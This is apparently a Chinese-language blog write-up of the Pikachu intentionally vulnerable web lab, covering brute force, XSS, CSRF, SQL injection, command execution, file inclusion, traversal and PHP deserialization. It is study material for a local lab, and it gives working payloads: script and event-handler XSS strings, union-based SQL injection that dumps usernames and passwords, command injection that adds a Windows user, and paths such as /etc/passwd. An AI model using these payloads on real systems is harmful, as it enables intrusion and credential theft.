pikachu靶场学习
pikachu靶场通关
搭建靶场
1.官网下载https://github.com/zhuifengshaonianhanlu/pikachu
2.把pikachu文件夹放到phpstudy的web服务器根目录下
3.进入pikachu/inc/config.inc.php更改数据库连接的账号密码
4.访问localhost/pikachu-master/index.php,进行初始化安装
暴力破解漏洞
概述
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。这里的认证安全策略, 包括:
1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
5.等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!
从来没有哪个时代的黑客像今天一样热衷于猜解密码 —奥斯特洛夫斯基
跨站脚本漏洞(XSS)
概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
- 反射性XSS;
- 存储型XSS;
- DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
XSS的整体思路
- 先输入特殊字符:'"<> 查看有没有过滤
- 检查前端代码限制条件
- 进行绕过
反射型xss(get)
常规输入
<script>alert(1)</script>
看看效果,发现输入的地方限制了输入的字符数量,点击提交后发现 xss 语句直接被拼接到了 url 语句里面,直接在 url 里面补全 xss 语句,达到目的
反射型xss(POST)
<script>alert(1)</script>
储存型xss
直接在留言板常规输入
<script>alert(1)</script>
DOM型xss
什么是DOM?
文档对象模型 (DOM) 是 HTML 和 XML 文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将 web 页面和脚本或程序语言连接起来。
文档对象模型(DOM)提供了对同一份文档的一种表现,存储和操作的方式。DOM 是 web 页面的完全的面向对象表述,它能够使用如 JavaScript 等脚本语言进行修改。
DOM_xss
构造普通的 xss 语句提交上去出现 what do you see?一个链接,F12检查元素发现链接正是我们输入的 xss 语句
闭合掉前面的引号即可,payload:
' onclick="alert(1)">
'><img src="#" onmouseover="alert('xss')">
DOM_xss-x
同上payload:
' onclick="alert(1)">
XXS之过滤
先常规输入
<script>alert(1)</script>
觉得可能是过滤了<>的内容,在网上搜索绕过方法
大小写匹配payload:
<ScriPT>alert(/xss/)</ScriPT>
XSS之htmlspecialchars
htmlspecialchars是什么
htmlspecialchars —将特殊字符转换为 HTML 实体
预定义的字符是
& 成为 &
" 成为 "
' 成为 '
< 成为 <
> 成为 >
可用引号类型
ENT_COMPAT:默认,仅编码双引号
ENT_QUOTES:编码双引号和单引号
ENT_NOQUOTES:不编码任何引号
题目
输入'"<>这几个字符,F12发现"<>被实体转码,只有'没被实体转码
输入payload
onclick=alert(1)
重新构造payload:
' onclick='alert(1)
第一个单引号闭合href属性的双引号,第二个单引号闭合href属性的闭合双引号
点击语句即可触发弹窗
XSS之href输出
常规输入payload:
' onclick='alert(1)
发现'号的闭合没有用了,在a标签的href属性里面,可以使用javascript协议来执行js,可以尝试使用伪协议绕过。
payload:
javascript:alert(1)
XSS之js输出
输入payload:
javascript:alert(1)
查看源码
发现输入的代码被生成在js中并赋值给$ms。我们的输入被带入到js中,可以闭合输入payload:
</script> <script>alert(1)</script>
成功弹窗
CSRF(跨站请求伪造)
概述
攻击者盗用了你的身份,以你的名义发送恶意请求(Cookie),对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。XSS为CSRF攻击的一种方式
get类型
使用提示给的账号进入
bp抓包,生成CSRF的poc,更改poc并保存为html文档进入文档点击Submit
可以发现住址已经改变了
post类型
需要上传到公网诱导别人点击才能成功
CSRF Token
因为token值是一次一改所以无法绕过
Sql注入
概述
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。
sql注入的原理
1)恶意拼接查询
sql语句可以进行删查增改的操作,并用分号来分隔命令。
eg:
SELECT * FROM users WHERE user_id = $user_id
其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:
SELECT * FROM users WHERE user_id = 1234; DELETE FROM users
如果以上语句执行,则会删除 users 表中的所有数据。
2)利用注释执行非法命令。
SQL 语句中可以插入注释。例如:
SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version=$version
如果 version 包含了恶意的字符串
'-1' OR 3 AND SLEEP(500)--
那么最终查询语句会变为:
SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version='-1' OR 3 AND SLEEP(500)--
以上恶意查询只是想耗尽系统资源,SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令,那么将会造成更大的破坏。
数字型注入POST
查看源码发现没有对id进行过滤
1.用hackbar抓包,payload:
id=1‘&submit=%E6%9F%A5%E8%AF%A2
发现报错,说明该处有sql注入
2.进行回显点的判断
payload:
id = 1 order by 2
有回显说明该字段长2
payload:
id=1 union select 1,2
找到回显位置
3.爆数据库
payload:
id = -1 union select 1,database()
得到数据库为pikachu
4.爆表名
payload:
id=1 union select database(),group_concat(table_name) from information_schema.tables where table_schema='pikachu'
得到httpinfo,member,message,users,xssblind这些表
5.爆字段
id=1 union select group_concat(username),group_concat(password) from users
字符型注入(GET)
利用-- -闭合前面的',达到实现sql语句的目的
1.hackbar抓包并输入万能密码
?name=admin' or 1=1-- -
得到所有用户数据
2.判断回显点
?name = admin' order by 3-- -//报错,无3个字长
?name = admin' order by 2-- -//无报错,判断为2个字长
3.找回显位置
?name = admin' union select 1,2-- -
其余步骤和上一个一样
payload:
?name=admin' union select group_concat(username),group_concat(password) from users-- -
搜索型注入
同上,只是多了一个回显点payload:
?name=admin' union select 1,group_concat(username),group_concat(password) from users-- -
xx型注入
"insert/update"注入
"delete"注入
"http header"注入
盲注(base on bool)
盲注(base on time)
宽字节
RCE
概述
1.作用:可以直接向后台服务器远程注入操作命令或者代码,从而控 制后台系统
2.原理:
远程系统命令执行:
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行:
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
3.命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
4.Windows系统命令拼接符
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
Linux系统命令拼接符
“|” 管道符,前面命令标准输出,后面命令的标准输入
“&” commandA & commandB 先运行命令A然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
“;” commandA;commandB执行完A执行B
“%0a” 换行符
“%0d” 回车符
exec"ping"
payload:
127.0.0.1 | dir //路径
127.0.0.1 | whoami //权限
127.0.0.1 | ipconfig //网络配置
127.0.0.1 | net user hack 123 /add //添加用户
exec"eval"
payload:
phpinfo();
system("dir");
system("ipconfig");
system("whoami");
File Inclusion(文件包含)
概述
原理:文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞
文件包含漏洞常见函数
php文件包含函数有以下四种:
-
include
-
inclued_once
-
require
-
require_once
require()/require_once()
:如果在包含过程中有错,那么直接退出,不执行进一步操作。
include()/include_once()
: 如果在包含过程中出错,只会发出警告加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含
当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析
常见的敏感信息路径
Windows下的常见文件
//貌似不准确目录 内容 \boot.ini 系统版本信息 \xxx\php.ini PHP配置信息 \xxx\my.ini MYSQL配置信息 \xxx\httpd.conf Apache配置信息 Linux下的常见文件
目录 内容 /etc/passwd Linux系统账号信息 /etc/httpd/conf/httpd.conf Apache配置信息 /etc/my.conf MySQL配置信息 /usr/etc/php.ini PHP配置信息
本地
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";
远程
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码
在服务器里面写了一个test.php文件,远程访问这个文件得到信息
unsafe filedownload
复制球员名字的链接http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png
发现是直接读取filename获得信息的,所以可以去获取一些敏感信息
Unsafe Fileupload
一般就是限上传文件的后缀名,或者先上传配置文件,再上传想上传的文件,一句话木马连接
Over Permission
概述
由于没有用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。
平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。
水平越权
登录kobe的账号,发现是个get的请求,试着将kobe改成lucy发现可以查看lucy的账号信息
垂直越权
目录遍历
概述
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“…/”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
题目
发现url中有文件名,问可以进行构造,实现目录遍历
敏感信息泄露
查看源码发现有测试账号的泄露,也可以直接在url中访问abc.php
php反序列化
概述
序列化说通俗点就是把一个对象变成可以传输的字符串
反序列化unserialize(),就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
题目
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
分析源码,构造payload:O:1:"S":1:{s:4:"test";s:29:";}完成xss攻击
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了